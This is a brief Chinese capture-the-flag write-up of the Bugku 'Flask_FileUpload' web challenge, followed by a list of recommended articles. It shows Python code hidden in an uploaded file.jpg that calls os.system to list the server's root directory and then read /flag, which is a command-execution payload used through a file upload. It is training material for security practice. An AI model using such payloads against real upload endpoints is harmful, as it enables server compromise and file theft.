Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
计算机魔术师15 分钟前
同样是AI辅助建造，为什么有的游戏三个月就烂尾了？用户9210802628626 分钟前
0. 做 Agent 产品，前端 AI 组件框架怎么选？云水一下30 分钟前
零基础玩转bWAPP靶场（五十九）：Insecure DOR (Change Secret)AC赳赳老秦36 分钟前
风控岗应用：OpenClaw 采集公开司法与经营异常数据，自动生成企业风险评估报告databook1 小时前
如何对稀疏数据的场景进行分析拾年2751 小时前
React Hooks 进阶篇：useMemo / useCallback / useReducer / useImperativeHandle，用「算账 +Jackson__1 小时前
面试官：如何在老项目中使用新框架，并实现通信？拾年2752 小时前
React Hooks 保姆级教程：把组件想象成失忆的打工人，4 个 Hook 带你原地起飞mmsx2 小时前
一个 Bug 修了 12 轮，根因只有一句话：AI 编程时代，日志才是唯一的真相默_笙2 小时前
😝 5 亿次循环卡死页面？我用 Web Worker 把它扔进后台线程，页面丝滑如初